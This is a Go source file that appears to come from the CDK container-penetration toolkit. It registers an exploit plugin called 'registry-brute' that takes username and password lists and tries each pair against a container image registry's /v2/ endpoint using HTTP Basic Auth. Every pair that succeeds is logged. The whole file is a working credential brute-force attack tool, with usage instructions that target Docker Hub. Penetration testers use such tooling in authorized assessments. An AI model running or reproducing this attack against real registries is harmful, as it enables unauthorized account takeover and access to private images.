// +build !no_image_registry_brute

package exploit

import (
	"fmt"
	"log"
	"net/http"
	"strings"

	b64 "encoding/base64"

	"github.com/cdk-team/CDK/pkg/cli"
	"github.com/cdk-team/CDK/pkg/plugin"
	"github.com/cdk-team/CDK/pkg/util"
)

// plugin interface
type RegistryBruteS struct{}

func (p RegistryBruteS) Desc() string {
	return "To container image registry, brute force the accounts and passwords cracking. Usage: ./cdk registry-brute <registry-url> <username|file> <password|file>. Example: ./cdk registry-brute https://index.docker.io/ root,admin /tmp/passwordfile."
}

func normalizeInput(input string) []string {

	var inputList []string

	// support username/password list file
	if util.FileExist(input) {
		inputList, err := util.ReadLines(input)
		if err != nil {
			log.Fatalf("%s read error, %v", input, err)
		}
		return inputList
	}

	// support input format like: username or username,username1,username2
	inputList = strings.Split(input, ",")

	return inputList
}

func checkLogin(url string, username string, password string) bool {

	login := fmt.Sprintf("%s:%s", username, password)
	sEnc := b64.StdEncoding.EncodeToString([]byte(login))
	authorizationHeader := fmt.Sprintf("Basic %s", sEnc)

	req, err := http.NewRequest("GET", url, nil)
	if err != nil {
		log.Printf("http.NewRequest error: %v\n", err)
		return false
	}

	client := &http.Client{}
	req.Header.Set("Authorization", authorizationHeader)
	res, err := client.Do(req)
	if err != nil {
		log.Printf("client.Do error: %v\n", err)
		return false
	}

	if res.StatusCode == 200 {
		return true
	} else {
		return false
	}

}

func (p RegistryBruteS) Run() bool {

	args := cli.Args["<args>"].([]string)
	if len(args) != 3 {
		log.Println("invalid input args.")
		log.Fatal(p.Desc())
	}
	imageRegistryURL := args[0]
	usernameInput := args[1]
	passwordInput := args[2]

	usernameList := normalizeInput(usernameInput)
	passwordList := normalizeInput(passwordInput)
	v2URL := fmt.Sprintf("%sv2/", imageRegistryURL)

	log.Printf("user dict length: %d.\n", len(usernameList))
	log.Printf("password dict length: %d.\n", len(passwordList))

	for _, username := range usernameList {
		for _, password := range passwordList {
			if checkLogin(v2URL, username, password) {
				log.Printf("Account: %s:%s is available.\n", username, password)
				// run next account/username
				break
			}
		}
	}

	log.Println("End!")
	return false

}

func init() {
	exploit := RegistryBruteS{}
	plugin.RegisterExploit("registry-brute", exploit)
}
